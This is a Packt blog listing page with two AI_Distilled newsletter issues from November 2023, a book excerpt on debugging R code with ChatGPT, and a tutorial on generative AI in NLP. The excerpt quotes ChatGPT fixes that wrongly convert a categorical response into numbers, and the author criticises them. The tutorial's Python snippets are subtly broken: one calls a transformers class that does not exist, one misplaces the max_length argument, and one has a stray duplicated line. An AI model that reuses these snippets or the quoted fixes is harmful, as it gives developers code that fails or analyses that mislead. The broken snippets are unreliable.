Search icon CANCEL
Subscription
0
Cart icon
Your Cart (0 item)
Close icon
You have no products in your basket yet
Save more on your purchases! discount-offer-chevron-icon
Savings automatically calculated. No voucher code required.
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Newsletter Hub
Free Learning
Arrow right icon
timer SALE ENDS IN
0 Days
:
00 Hours
:
00 Minutes
:
00 Seconds

How-To Tutorials

7007 Articles
article-image-ai-distilled-27-ai-breakthroughs-open-source-pioneers
Merlyn Shelley
24 Nov 2023
13 min read
Save for later

AI_Distilled #27: AI Breakthroughs & Open-Source Pioneers

Merlyn Shelley
24 Nov 2023
13 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!👋 Hello ,Welcome to another AI_Distilled! This edition brings you key stories on AI, ML, NLP, Gen AI, and more. Our mission is to keep you informed, empowering your skill advancement. Before we embark on the need-to-know updates, let’s take a moment to observe an important perspective from an industry leader. “We’re now seeing a major second wave…let’s acknowledge that without open source, how would AI have made the tremendous progress it has over the last decade” -Jensen Huang, NVIDIA CEO Amidst the uncertainty surrounding Sam Altman's removal and reinstatement at OpenAI, the open-source community emerges as a potential beneficiary. Also, as OpenAI pauses new signups for ChatGPT Plus, enterprises are anticipated to seek stability and long-term impact by turning to open-source AI models such as Llama, Mistral, Falcon, and MPT for their AI application development needs. Both proprietary and open-source models will play roles, but the latter's contributions are crucial for advancing AI technology's impact on work and life. In this week’s edition, we’ll talk about Google DeepMind unveiling an advanced AI music generation model and experiments, Meta releasing Emu Video and Emu Edit, major breakthroughs in generative AI research, Microsoft Ignite 2023 bringing new AI expansions and product announcements, and Galileo's Hallucination Index identifying GPT-4 as the best LLM for different use cases. We’ve also got you your fresh dose of AI secret knowledge and tutorials including how to implement emerging practices for society-centered AI, how to speed up and improve LLM output with skeleton-of-thought, getting started with Llama 2 in 5 steps, and how to build an AI assistant with real-time web access in 100 lines of code using Python and GPT-4. Also, don't forget to check our expert insights column, which covers the interesting concepts of data architecture from the book 'Modern Data Architecture on AWS'. It's a must-read!  Stay curious and gear up for an intellectually enriching experience!  📥 Feedback on the Weekly EditionHey folks!After the stunning OpenAI DevDay, many of us were eager to embark on creating our custom GPT magic. But let's chat about the recent hiccups: the pause on ChatGPT-4 new sign-ups and the shift or reformation in OpenAI's leadership. It's got us all wondering about the future of our handy tools. Quick question: Ever tried ChatGPT's Advanced Data Analysis? Now that it's temporarily on hold for new users, it's got us thinking, right? Share your take on these changes in the comments. Your thoughts count! We're turning the spotlight on you – some of the best insights will be featured in our next issue for our 38K-strong AI-focused community. Don't miss out on the chance to share your views! 🗨️✨ As a big thanks, get our bestselling "The Applied Artificial Intelligence Workshop" in PDF.   Let's make AI_Distilled even more awesome! 🚀 Jump on in! Share your thoughts and opinions here! Writer’s Credit: Special shout-out to Vidhu Jain for their valuable contribution to this week’s newsletter content!  Cheers,  Merlyn Shelley  Editor-in-Chief, Packt  SignUp | Advertise | Archives⚡ TechWave: AI/GPT News & Analysis🔳 Sam Altman Is Reinstated as OpenAI’s Chief Executive: OpenAI reinstated CEO Sam Altman, reversing his ouster amid a board shake-up. The revamped board, led by Bret Taylor, includes Lawrence Summers and Adam D'Angelo, with Microsoft's support. Negotiations involved concessions, including an independent investigation into Altman's leadership. Some outgoing members sought to curb Altman's power. Altman's removal sparked a campaign by allies and employees for his return. The board initially stood by its decision but ultimately reinstated Altman for a fresh start. 🔳 Google DeepMind Unveils Advanced AI Music Generation Model and Experiments: Google DeepMind introduces Lyria, an advanced AI music generation model, and collaborates with YouTube on two experiments, "Dream Track" and "Music AI tools," revolutionizing music creation. Lyria excels in maintaining musical continuity, while the experiments support artists and producers in crafting unique soundtracks and enhancing the creative process. 🔳 Meta Unveils Emu Video and Emu Edit: Advancements in Generative AI Research: Meta has unveiled two major advancements in generative AI: Emu Video, a text-to-video platform using diffusion models for high-quality content generation, and Emu Edit, an image editing tool for precise control. Human evaluations favor Emu Video over previous models, showcasing substantial progress in creative and effective generative AI tools. 🔳 Google's AI Search Feature Expands to 120+ Countries: Google's Search Generative Experience (SGE) has expanded to 120+ countries, offering generative AI summaries and language support for Spanish, Portuguese, Korean, and Indonesian. Users can ask follow-up questions and get interactive definitions. The update will initially roll out in the US before expanding globally, enhancing natural language interactions in search results. 🔳 Microsoft Ignite 2023 Brings New AI Expansions and Product Announcements: Microsoft's Ignite 2023 highlighted the company's deepened AI commitment, featuring Bing Chat's rebranding to Copilot, custom AI chips, and new AI tools like Copilot for Azure. Microsoft Teams will offer AI-driven home decoration and voice isolation. The company consolidated planning tools, introduced generative AI copyright protection, Windows AI Studio for local AI deployment, and Azure AI Speech for text-to-speech avatars. The event underscored Microsoft's emphasis on AI integration across its products and services. 🔳 Microsoft Emerges as Ultimate Winner in OpenAI Power Struggle: Microsoft emerged victorious in the OpenAI power struggle by hiring ousted CEO Sam Altman and key staff, including Greg Brockman, to lead a new advanced AI team. This strategic move solidifies Microsoft's dominance in the industry, positioning it as a major player in AI without acquiring OpenAI, valued at $86 billion. The recent turmoil at OpenAI has led to employee threats of quitting and joining Altman at Microsoft, potentially granting Microsoft access to significant AI talent. 🔳 Galileo's Hallucination Index Identifies GPT-4 As the Best LLM for Different Use Cases: San Francisco based Galileo has introduced a Hallucination Index to aid users in selecting the most reliable Large Language Models (LLMs) for specific tasks. Evaluating various LLMs, including Meta's Llama series, the index found GPT-4 excelled, and OpenAI's models consistently performed well, supporting trustworthy GenAI applications. 🔳 Microsoft Releases Orca 2: Small Language Models That Outperform Larger Ones: Orca 2, comprising 7 billion and 13 billion parameter models, excels in intricate reasoning tasks, surpassing larger counterparts. Developed by fine-tuning LLAMA 2 base models on tailored synthetic data, Orca 2 showcases advancements in smaller language model research, demonstrating adaptability across tasks like reasoning, grounding, and safety through post-training with carefully filtered synthetic data. 🔳 NVIDIA CEO Predicts Major Second Wave of AI: Jensen Huang predicts a significant AI surge, citing breakthroughs in language replicated in biology, manufacturing, and robotics, offering substantial opportunities for Europe. Praising France's AI leadership, he emphasizes the importance of region-specific AI systems reflecting cultural nuances and highlights the crucial role of data in regional AI growth. 🔮 Expert Insights from Packt Community Modern Data Architecture on AWS - By Behram Irani Challenges with on-premises data systems As data grew exponentially, so did the on-premises systems. However, visible cracks started to appear in the legacy way of architecting data and analytics use cases. The hardware that was used to process, store, and consume data had to be procured up-front, and then installed and configured before it was ready for use. So, there was operational overhead and risks associated with procuring the hardware, provisioning it, installing software, and maintaining the system all the time. Also, to accommodate for future data growth, people had to estimate additional capacity way in advance. The concept of hardware elasticity didn’t exist.The lack of elasticity in hardware meant that there were scalability risks associated with the systems in place, and these risks would surface whenever there was a sudden growth in the volume of data or when there was a market expansion for the business. Buying all this extra hardware up-front also meant that a huge capital expenditure investment had to be made for the hardware, with all the extra capacity lying unused from time to time. Also, software licenses had to be paid for and those were expensive, adding to the overall IT costs. Even after buying all the hardware upfront, it was difficult to maintain the data platform’s high performance all the time. As data volumes grew, latency started creeping in, which adversely affected the performance of certain critical systems. As data grow into big data, the type of data produced was not just structured data; a lot of business use cases required semi-structured data, such as JSON files, and even unstructured data, such as images and PDF files. In subsequent chapters, we will go through some use cases that specify different types of data. As the sources of data grew, so did the number of ETL pipelines. Managing these pipelines became cumbersome. And on top of that, with so much data movement, data started to duplicate at multiple places, which made it difficult to create a single source of truth for the data. On the flip side, with so many data sources and data owners within an organization, data became siloed, which made it difficult to share across different LOBs in the organization. This content is from the book “Modern Data Architecture on AWS” writtern by Behram Irani (Aug 2023). Start reading a free chapter or access the entire Packt digital library free for 7 days by signing up now. To learn more, click on the button below. Read through the Chapter 1 unlocked here...  🌟 Secret Knowledge: AI/LLM Resources🤖 How to Use Amazon CodeWhisperer for Command Line: Amazon introduces Amazon CodeWhisperer for the command line, enhancing developer productivity with contextual CLI completions and AI-driven natural language-to-bash translation. The tool provides CLI completions and translates natural language instructions into executable shell code snippets, modernizing the command line experience for over thirty million engineers. 🤖 How to Implement Emerging Practices for Society-Centered AI: The post underscores the importance of AI professionals addressing societal implications, advocating for multidisciplinary collaboration. It stresses the significance of measuring AI's impact on society to enhance effectiveness and identify areas for improvement in developing systems that benefit the broader community. 🤖 How to Speed Up and Improve LLM Output with Skeleton-of-Thought: The article introduces the Skeleton-of-Thought (SoT) approach, aiming to enhance the efficiency of Language Models (LLMs) by reducing generation latency and improving answer quality. SoT guides LLMs to generate answer skeletons first, then completes them in parallel, potentially accelerating open-source and API-based models for various question categories. 🤖 Understanding SuperNIC to Enhance AI Efficiency: The BlueField-3 SuperNIC is pivotal in AI-driven innovation, boosting workload efficiency and networking speed in AI cloud computing. With a 1:1 GPU to SuperNIC ratio, it enhances productivity. Integrated with NVIDIA Spectrum-4, it provides adaptive routing, out-of-order packet handling, and optimized congestion control for superior outcomes in enterprise data centers. 🤖 Step-by-step guide to the Evolution of LLMs: The post explores the 12-month evolution of Large Language Models (LLMs), from text completion to dynamic chatbots with code execution and knowledge access. It emphasizes the frequent release of new features, models, and techniques, notably the November 2022 launch of ChatGPT, accelerating user adoption and triggering an AI arms race, while questioning if such rapid advancements are bringing us closer to practical AI agents.  🔛 Masterclass: AI/LLM Tutorials👉 How to Get Started with Llama 2 in 5 Steps: Llama 2, an open-source large language model, is now free for research and commercial use. This blog outlines a five-step guide, covering prerequisites, model setup, fine-tuning, inference, and additional resources for users interested in utilizing Llama 2. 👉 How to Integrate GPT-4 with Python and Java: A Developer's Guide: The article explores integrating GPT-4 with Python and Java, emphasizing Python's compatibility and flexibility. It provides examples, discusses challenges like rate limits, and encourages collaboration for harnessing GPT-4's transformative potential, highlighting the importance of patience and debugging skills. 👉 How to Build an AI Assistant with Real-Time Web Access in 100 Lines of Code Using Python and GPT-4: This article guides readers in creating a Python-based AI assistant with real-time web access using GPT-4 in just 100 lines of code. The process involves initializing clients with API keys, creating the assistant using the OpenAI and Tavily libraries, and implementing a function for retrieving real-time information from the web. The author offers a detailed step-by-step guide with code snippets. 👉 Step-by-step guide to building a real-time recommendation engine with Amazon MSK and Rockset: This tutorial demonstrates building a real-time product recommendation engine using Amazon Managed Streaming for Apache Kafka (Amazon MSK) and Rockset. The architecture allows instant, personalized recommendations critical for e-commerce, utilizing Amazon MSK for capturing high-velocity user data and AWS Managed services for scalability in handling customer requests, API invocations, and data ingestion.  🚀 HackHub: Trending AI Tools💮 protectai/ai-exploits: Collection of real-world AI/ML exploits for responsibly disclosed vulnerabilities, aiming to raise awareness of the amount of vulnerable components in the AI/ML ecosystem. 💮 nlmatics/llmsherpa: Provides strategic APIs to accelerate LLM use cases, includes a LayoutPDFReader that provides layout information for PDF to text parsers, and is tested on a wide variety of PDFs. 💮 QwenLM/Qwen-Audio: Large audio language model proposed by Alibaba Cloud developers can use for speech editing, sound understanding and reasoning, music appreciation, and multi-turn dialogues in diverse audio-oriented scenarios. 💮 langchain-ai/opengpts: Open-source effort creating a similar experience to OpenAI's GPTs and Assistants API. It builds upon LangChain, LangServe, and LangSmith.  Readers’ Feedback! 💬 💭 Anish says, "The growing number of subscribers is really exciting. I particularly appreciate the transformation of 2D images into 3D models from Adobe and going through 'Tackling Hallucinations in LLMs' by Bijit Ghosh. These kinds of practical contexts are truly my preference for the upcoming newsletters." 💭 Tony says, "Very informative, far-reaching, and extremely timely. On point. Just keep it up, keep your eye on news and knowledge, and keep cluing us all once a week please, Merlyn. You're doing a fine job."  Share your thoughts here! Your opinions matter—let's make this space a reflection of diverse perspectives. 
Read more
  • 0
  • 0
  • 5859

article-image-debugging-and-improving-code-with-chatgpt
Dan MacLean
23 Nov 2023
8 min read
Save for later

Debugging and Improving Code with ChatGPT

Dan MacLean
23 Nov 2023
8 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!This article is an excerpt from the book, R Bioinformatics Cookbook - Second Edition, by Dan MacLean. Discover over 80 recipes for modeling and handling real-life biological data using modern libraries from the R ecosystem.IntroductionEmbrace the power of streamlined debugging and code refinement with ChatGPT's expertise. Unravel the possibilities of effortlessly troubleshooting errors, optimizing performance, and refining code structures. This article explores how ChatGPT, armed with its extensive programming knowledge, assists in identifying and rectifying coding errors, offering tailored solutions, and fostering a deeper understanding of code logic. Dive into a journey of code enhancement, where ChatGPT becomes your indispensable companion in navigating complexities and elevating your coding experiencesDebugging and improving code with ChatGPTChatGPT is capable of debugging code due to its extensive training on programming-related text. It has acquired knowledge of common programming patterns and errors, allowing it to understand code snippets, identify potential issues, and provide suggestions or improvements. It can identify minor errors by highlighting syntax issues such as missing brackets, incorrect function calls, and invalid variable assignments. ChatGPT helps troubleshooting by asking clarifying questions to better understand the problem and guide developers toward the root cause, and can aid in code optimization by suggesting efficiency improvements, identifying performance bottlenecks, and proposing more optimized implementations. Lastly, the debugging process with ChatGPT can foster learning and exploration, enabling developers to discover new concepts, programming techniques, or functionalities of specific libraries or packages. In this recipe, we’ll walk through an example debugging session with ChatGPT and look at how it helps us to reflect better on our own code.Getting readyWe just need an account at ChatGPT: https://chat.openai.com/.How to do it…We can debug some code as follows:1. Set up some code that we expect to work and try it:data <- data.frame( predictor = c(1, 2, 3, 4, NA), response = c("A", "B", "C", "D", "E") ) model <- lm(response ~ predictor, data = data)2. Send the broken code to ChatGPT:Help me fix the following code: data <- data.frame( predictor = c(1, 2, 3, 4, NA), response = c("A", "B", "C", "D", "E") ) model <- lm(response ~ predictor, data = data)3. Read and run the resulting response in R:To fix the code, you need to handle the missing value (NA) in the predictor column. Here's the corrected code: # Fixing the code data <- data.frame( predictor = c(1, 2, 3, 4, NA), response = c("A", "B", "C", "D", "E") ) # Replace NA in the predictor column with the mean value data$predictor[is.na(data$predictor)] <- mean(data$predictor, na.rm = TRUE) # Convert the response variable to a factor data$response <- as.factor(data$response) # Perform linear regression model <- lm(response ~ predictor, data = data) summary(model) In the fixed code, I replaced the NA value in the predictor column with the mean value of the remaining numeric values using the mean() function with na.rm = TRUE argument. Then, I converted the response variable to a factor using the as.factor() function. Finally, the linear regression model is computed with the corrected data, and the summary(model) displays the model summary.4. Tell ChatGPT the code still doesn’t work:It still doesn't work - Im getting thie error: Error in as.character.factor(x) : malformed factor In addition: Warning message: In Ops.factor(r, 2) : '^' not meaningful for factors 5. Read the response and run the code:Apologies for the oversight. The error is occurring because the ^ operator is not applicable to factors in the formula used in the linear regression. To fix this, we can convert the factor to a numeric representation using numeric codes or dummy variables. Here's the updated code: # Fixing the code data <- data.frame( predictor = c(1, 2, 3, 4, NA), response = c("A", "B", "C", "D", "E") ) # Replace NA in the predictor column with the mean value data$predictor[is.na(data$predictor)] <- mean(data$predictor, na.rm = TRUE) # Convert the response variable to a factor data$response <- as.factor(data$response) # Convert the factor to numeric codes data$response <- as.numeric(data$response) # Perform linear regression model <- lm(response ~ predictor, data = data) summary(model) In the updated code, I've used as.numeric() to convert the response factor variable to numeric codes. This allows the regression model to treat it as a numerical response. Now, the lm() function should run without the error, and summary(model) will display the model summary.6. Ask it to check whether the original code was appropriately analyzed:Were the original data suitable for a linear model?7. Read the response:No, the original data provided in the code were not suitable for a linear model. Here's why: 1. The `predictor` variable was numeric, which is suitable for a linear model. 2. The `response` variable, however, was categorical with values "A", "B", "C", "D", and "E". Categorical variables cannot be directly used as the response variable in a linear regression model because they do not represent continuous numeric values. To use a categorical variable as the response variable in a linear model, you typically need to encode it into dummy variables or use techniques like multinomial logistic regression. Dummy variable encoding represents each category as a separate binary variable (0 or 1). Once the categorical variable is properly encoded, it can be used as the response variable in a linear regression model.Again, that’s how the process goes though the output can be different from user to user but the meaning should be the same.How it works…In step 1, we set up a data frame of some data as a test set to use in a linear model; we wish to examine the relationship between the two variables so assume that a linear model will work. When we run the code in R, we get this:Error in lm.fit(x, y, offset = offset, singular.ok = singular.ok, ...) : NA/NaN/Inf in 'y' In addition: Warning message: In storage.mode(v) <- "double" : NAs introduced by coercion This is a typically confounded R error message. We want help, so in step 2, we ask ChatGPT to fix the code.Step 3 shows us ChatGPT’s response, which suggests fixing the NA values that are in the predictor column. That seems reasonable, and, as it explains, ChatGPT gives us some code that imputes a new value from the mean of all the other values – again, a reasonable value to impute. When we run the code, it still doesn’t work and we get a new error, so in step 4, we tell ChatGPT about it and ask it to fix the new errors.In step 5, we see an apologetic language model attempt to correct the error. It gives us a confusing reason for doing some strange text/number conversion and fixed code. When we run this new code in the console, we get output like this:## Call: ## lm(formula = response ~ predictor, data = data) ## ## Residuals: ## 1 2 3 4 5 ## -0.5 -0.5 -0.5 -0.5 2.0 ## ## Coefficients: ## Estimate Std. Error t value Pr(>|t|) ## (Intercept) 0.5000 1.5546 0.322 0.769 ## predictor 1.0000 0.5774 1.732 0.182 ## ## Residual standard error: 1.291 on 3 degrees of freedom ## Multiple R-squared: 0.5, Adjusted R-squared: 0.3333 ## F-statistic: 3 on 1 and 3 DF, p-value: 0.1817This looks a bit strange – the residuals are weird and the rest of the values look poor. We start to question whether this was the right thing to do in the first place.In step 6, we ask ChatGPT whether the linear model was the right sort of analysis. It responds as in step 7, telling us quite clearly that it was not appropriate.This recipe highlights that we can use ChatGPT to fix code that doesn’t work, but shows also that ChatGPT will not reason without prompting. Here, it let us pursue a piece of code that wasn’t right for the task. As a language model, it can’t know that, even though we believe it would be evident from the question setup. It didn’t try to correct our flawed assumptions or logic. We still need to be responsible for the logic and applicability of our code.ConclusionIn conclusion, ChatGPT emerges as a valuable ally in code debugging, offering insightful solutions and guiding developers toward efficient, error-free code. While it excels in identifying issues and suggesting fixes, it's crucial to recognize that ChatGPT operates within the boundaries of provided information. This journey underscores the importance of critical thinking in code analysis, reminding us that while ChatGPT empowers us with solutions, the responsibility for logical correctness and code applicability ultimately rests on the developer. Leveraging ChatGPT's expertise alongside mindful coding practices paves the way for seamless debugging and continual improvement in software development endeavors.Author BioProfessor Dan MacLean has a Ph.D. in molecular biology from the University of Cambridge and gained postdoctoral experience in genomics and bioinformatics at Stanford University in California. Dan is now Head of Bioinformatics at the world-leading Sainsbury Laboratory in Norwich, UK where he works on bioinformatics, genomics, and machine learning. He teaches undergraduates, post-graduates, and post-doctoral students in data science and computational biology. His research group has developed numerous new methods and software in R, Python, and other languages with over 100,000 downloads combined.
Read more
  • 0
  • 0
  • 25634

article-image-generative-ai-in-natural-language-processing
Jyoti Pathak
22 Nov 2023
9 min read
Save for later

Generative AI in Natural Language Processing

Jyoti Pathak
22 Nov 2023
9 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionGenerative AI is a pinnacle achievement, particularly in the intricate domain of Natural Language Processing (NLP). As businesses and researchers delve deeper into machine intelligence, Generative AI in NLP emerges as a revolutionary force, transforming mere data into coherent, human-like language. This exploration into Generative AI's role in NLP unveils the intricate algorithms and neural networks that power this innovation, shedding light on its profound impact and real-world applications.Let us dissect the complexities of Generative AI in NLP and its pivotal role in shaping the future of intelligent communication.                                                                                                                   SourceWhat is generative AI in NLP?Generative AI in Natural Language Processing (NLP) is the technology that enables machines to generate human-like text or speech. Unlike traditional AI models that analyze and process existing data, generative models can create new content based on the patterns they learn from vast datasets. These models utilize advanced algorithms and neural networks, often employing architectures like Recurrent Neural Networks (RNNs) or Transformers, to understand the intricate structures of language.Generative AI models can produce coherent and contextually relevant text by comprehending context, grammar, and semantics. They are invaluable tools in various applications, from chatbots and content creation to language translation and code generation.Technical Marvel Behind Generative AIAt the heart of Generative AI in NLP lie advanced neural networks, such as Transformer architectures and Recurrent Neural Networks (RNNs). These networks are trained on massive text corpora, learning intricate language structures, grammar rules, and contextual relationships. Through techniques like attention mechanisms, Generative AI models can capture dependencies within words and generate text that flows naturally, mirroring the nuances of human communication.Practical Examples and Code Snippets:1. Text Generation with GPT-3OpenAI's GPT-3 (Generative Pre-trained Transformer 3) is a state-of-the-art generative language model. Using the OpenAI API, you can generate text with just a few lines of code.import openai openai.api_key = 'YOUR_API_KEY' prompt = "Once upon a time," response = openai.Completion.create( engine="text-davinci-003", prompt=prompt, max_tokens=150 ) generated_text = response.choices[0].text.strip() print("Generated Text: ", generated_text)2. Chatbot Development with RasaRasa is an open-source framework used for building conversational AI applications. It leverages generative models to create intelligent chatbots capable of engaging in dynamic conversations.from rasa.core.agent import Agent agent = Agent.load("models/dialogue", interpreter="models/nlu") user_input = input("User: ") responses = agent.handle_text(user_input) for response in responses:    print("Bot: ", response["text"])3. Language Translation with MarianMTMarianMT is a multilingual translation model provided by the Hugging Face Transformers library.from transformers import MarianTokenizer, MarianMTModel model_name = "Helsinki-NLP/opus-mt-en-de" tokenizer = MarianTokenizer.from_pretrained(model_name) model = MarianMTModel.from_pretrained(model_name) input_text = "Hello, how are you?" translated_text = model.generate(**tokenizer(input_text, return_tensors="pt", padding=True)) translated_text = tokenizer.batch_decode(translated_text, skip_special_tokens=True) print("Translated Text: ", translated_text)Generative AI in NLP enables these practical applications. It is a cornerstone for numerous other use cases, from content creation and language tutoring to sentiment analysis and personalized recommendations, making it a transformative force in artificial intelligence.How do Generative AI models help in NLP?                                                                                                                           SourceGenerative AI models, especially those powered by deep learning techniques like Recurrent Neural Networks (RNNs) and Transformer architectures, play a pivotal role in enhancing various aspects of NLP:1. Language TranslationGenerative AI models, such as OpenAI's GPT-3, have significantly improved machine translation. Training on multilingual datasets allows these models to translate text with remarkable accuracy from one language to another, enabling seamless communication across linguistic boundaries.Example Code Snippet:from transformers import MarianMTModel, MarianTokenizer model_name = "Helsinki-NLP/opus-mt-en-de" tokenizer = MarianTokenizer.from_pretrained(model_name) model = MarianMTModel.from_pretrained(model_name) input_text = "Hello, how are you?" translated_text = model.generate(**tokenizer(input_text, return_tensors="pt", padding=True)) translated_text = tokenizer.batch_decode(translated_text, skip_special_tokens=True) print("Translated Text: ", translated_text) translated_text)2. Content Creation Generative AI models assist in content creation by generating engaging articles, product descriptions, and creative writing pieces. Businesses leverage these models to automate content generation, saving time and resources while ensuring high-quality output.Example Code Snippet:from transformers import GPT2LMHeadModel, GPT2Tokenizer model_name = "gpt2" tokenizer = GPT2Tokenizer.from_pretrained(model_name) model = GPT2LMHeadModel.from_pretrained(model_name) input_prompt = "In a galaxy far, far away" generated_text = model.generate(tokenizer.encode(input_prompt, return_tensors="pt", max_length=150)) generated_text = tokenizer.decode(generated_text[0], skip_special_tokens=True) print("Generated Text: ", generated_text)Usage of Generative AIGenerative AI, with its remarkable ability to generate human-like text, finds diverse applications in the technical landscape. Let's delve into the technical nuances of how Generative AI can be harnessed across various domains, backed by practical examples and code snippets.●  Content CreationGenerative AI plays a pivotal role in automating content creation. By training models on vast datasets, businesses can generate high-quality articles, product descriptions, and creative pieces tailored to specific audiences. This is particularly useful for marketing campaigns and online platforms where engaging content is crucial.Example Code Snippet (Using OpenAI's GPT-3 API):import openai openai.api_key = 'YOUR_API_KEY' prompt = "Write a compelling introduction for a new tech product." response = openai.Completion.create( engine="text-davinci-003", prompt=prompt, max_tokens=150 ) generated_content = response.choices[0].text.strip() print("Generated Content: ", generated_content)Practical Usage: A marketing company employs Generative AI to draft product descriptions for an e-commerce website, tailoring each description based on product features and customer preferences.●  Chatbots and Virtual AssistantsGenerative AI empowers intelligent chatbots and virtual assistants, enabling natural and dynamic user conversations. These systems understand user queries and generate contextually relevant responses, enhancing customer support experiences and user engagement.Example Code Snippet (Using Rasa Framework):from rasa.core.agent import Agent agent = Agent.load("models/dialogue", interpreter="models/nlu") user_input = input("User: ") responses = agent.handle_text(user_input) for response in responses:   print("Bot: ", response["text"])Practical Usage: An online customer service platform integrates Generative AI-powered chatbots to handle customer inquiries, providing instant and accurate responses, improving user satisfaction, and reducing response time.●  Code GenerationGenerative AI assists developers by generating code snippets and completing lines of code. This accelerates the software development process, aiding programmers in writing efficient and error-free code.Example Code Snippet (Using CodeBERT Model):from transformers import CodeBertForConditionalGeneration, CodeBertTokenizer model_name = "microsoft/codebert-base" tokenizer = CodeBertTokenizer.from_pretrained(model_name) model = CodeBertForConditionalGeneration.from_pretrained(model_name) code_prompt = "Sort a list in Python." generated_code = model.generate(tokenizer.encode(code_prompt, return_tensors="pt", max_length=150)) generated_code = tokenizer.decode(generated_code[0], skip_special_tokens=True) print("Generated Code: ", generated_code)Practical Usage: A software development team integrates Generative AI into their IDE, allowing developers to receive instant code suggestions and completions, leading to faster coding, reduced errors, and streamlined collaboration.●  Creative Writing and StorytellingGenerative AI fuels creativity by generating imaginative stories, poetry, and scripts. Authors and artists use these models to brainstorm ideas or overcome creative blocks, producing unique and inspiring content.Example Code Snippet (Using GPT-3 API for Creative Writing):import openai openai.api_key = 'YOUR_API_KEY' prompt = "Write a sci-fi story about space exploration." response = openai.Completion.create( engine="text-davinci-003", prompt=prompt, max_tokens=500 ) creative_writing = response.choices[0].text.strip() print("Creative Writing: ", creative_writing)Practical Usage: A novelist utilizes Generative AI to generate plot outlines and character dialogues, providing creative prompts that serve as a foundation for developing engaging and unique stories.Also, Generative AI models excel in language translation tasks, enabling seamless communication across diverse languages. These models accurately translate text, breaking down language barriers in global interactions.Practical Usage: A language translation service utilizes Generative AI to translate legal documents, business contracts, or creative content from one language to another, ensuring accuracy and preserving the nuances of the original text.Generative AI's technical prowess is reshaping how we interact with technology. Its applications are vast and transformative, from enhancing customer experiences to aiding creative endeavors and optimizing development workflows. Stay tuned as this technology evolves, promising even more sophisticated and innovative use cases.Future of Generative AI in NLPAs Generative AI continues to evolve, the future holds limitless possibilities. Enhanced models, coupled with ethical considerations, will pave the way for applications in sentiment analysis, content summarization, and personalized user experiences. Integrating Generative AI with other emerging technologies like augmented reality and voice assistants will redefine the boundaries of human-machine interaction.ConclusionGenerative AI is a testament to the remarkable strides made in artificial intelligence. Its sophisticated algorithms and neural networks have paved the way for unprecedented advancements in language generation, enabling machines to comprehend context, nuance, and intricacies akin to human cognition. As industries embrace the transformative power of Generative AI, the boundaries of what devices can achieve in language processing continue to expand. This relentless pursuit of excellence in Generative AI enriches our understanding of human-machine interactions. It propels us toward a future where language, creativity, and technology converge seamlessly, defining a new era of unparalleled innovation and intelligent communication. As the fascinating journey of Generative AI in NLP unfolds, it promises a future where the limitless capabilities of artificial intelligence redefine the boundaries of human ingenuity.Author BioJyoti Pathak is a distinguished data analytics leader with a 15-year track record of driving digital innovation and substantial business growth. Her expertise lies in modernizing data systems, launching data platforms, and enhancing digital commerce through analytics. Celebrated with the "Data and Analytics Professional of the Year" award and named a Snowflake Data Superhero, she excels in creating data-driven organizational cultures.Her leadership extends to developing strong, diverse teams and strategically managing vendor relationships to boost profitability and expansion. Jyoti's work is characterized by a commitment to inclusivity and the strategic use of data to inform business decisions and drive progress.
Read more
  • 0
  • 0
  • 17415

article-image-ai-distilled-26-uncover-the-latest-in-ai-from-industry-leaders
Merlyn Shelley
21 Nov 2023
13 min read
Save for later

AI_Distilled #26: Uncover the latest in AI from industry leaders

Merlyn Shelley
21 Nov 2023
13 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!👋 Hello ,Welcome back to a new issue of AI_Distilled - your guide to the key advancements in AI, ML, NLP, and GenAI. Let's dive right into an industry expert’s perspective to sharpen our understanding of the field's rapid evolution. "In the near future, anyone who's online will be able to have a personal assistant powered by artificial intelligence that's far beyond today's technology."  - Bill Gates, Co-Founder, Microsoft. In a recent interview, Gates minced no words when he said software is still “pretty dumb” even in today’s day and age. The next 5 years will be crucial, he believes, as everything we know about computing in our personal and professional lives is on the brink of a massive disruption. Even everyday things as simple as phone calls are due for transformation as evident from Samsung unveiling the new 'Galaxy AI' and real-time translate call feature. In this issue, we’ll talk about Google exploring massive investment in AI startup Character.AI, Microsoft's GitHub Copilot user base surging to over a million, OpenAI launching data partnerships to enhance AI understanding, and Adobe researchers’ breakthrough AI that transforms 2D images into 3D models in 5 seconds.We’ve also got you your fresh dose of AI secret knowledge and tutorials. Explore how to scale multimodal understanding to long videos, navigate the landscape of hallucinations in LLMs, read a practical guide to enhancing RAG system responses, how to generate Synthetic Data for Machine Learning and unlock the power of low-code GPT AI apps.  📥 Feedback on the Weekly EditionWe've hit 6 months and 38K subscribers in our AI_Distilled newsletter journey — thanks to you!  The best part? Our emails are opened by 60% of recipients each week. We're dedicated to tailoring them to enhance your Data & AI practice. Let's work together to ensure they fully support your AI efforts and make a positive impact on your daily work.Share your thoughts in a quick 5-minute survey to shape our content. As a big thanks, get our bestselling "The Applied Artificial Intelligence Workshop" in PDF.  Let's make AI_Distilled even more awesome! 🚀 Jump on in! Complete the Survey. Get a Packt eBook for Free!Writer’s Credit: Special shout-out to Vidhu Jain for their valuable contribution to this week’s newsletter content!  Cheers,  Merlyn Shelley  Editor-in-Chief, Packt  SignUp | Advertise | Archives⚡ TechWave: AI/GPT News & Analysis🔳 Google Explores Massive Investment in AI Startup Character.AI: Google is reportedly in discussions to invest 'hundreds of millions' in Character.AI, an AI chatbot startup founded by ex-Google Brain employees. The investment is expected to deepen the collaboration between the two entities, leveraging Google's cloud services and Tensor Processing Units (TPUs) for model training. Character.AI, offering virtual interactions with celebrities and customizable chatbots, targets a youthful audience, particularly those aged 18 to 24, constituting 60% of its web traffic.  🔳 AI Actions Empowers AI Platforms with Zapier Integration: AI Actions introduces a tool enabling AI platforms to seamlessly run any Zapier action, leveraging Zapier's extensive repository of 20,000+ searches and actions. The integration allows natural language commands to trigger Zapier actions, eliminating obstacles like third-party app authentication and API integrations. Supported on platforms like ChatGPT, GPTs, Zapier, and customizable solutions, AI Actions provides flexibility for diverse applications. 🔳 Samsung Unveils 'Galaxy AI' and Real-Time Translate Call Feature: Samsung declares its commitment to AI with a preview of "Galaxy AI," a 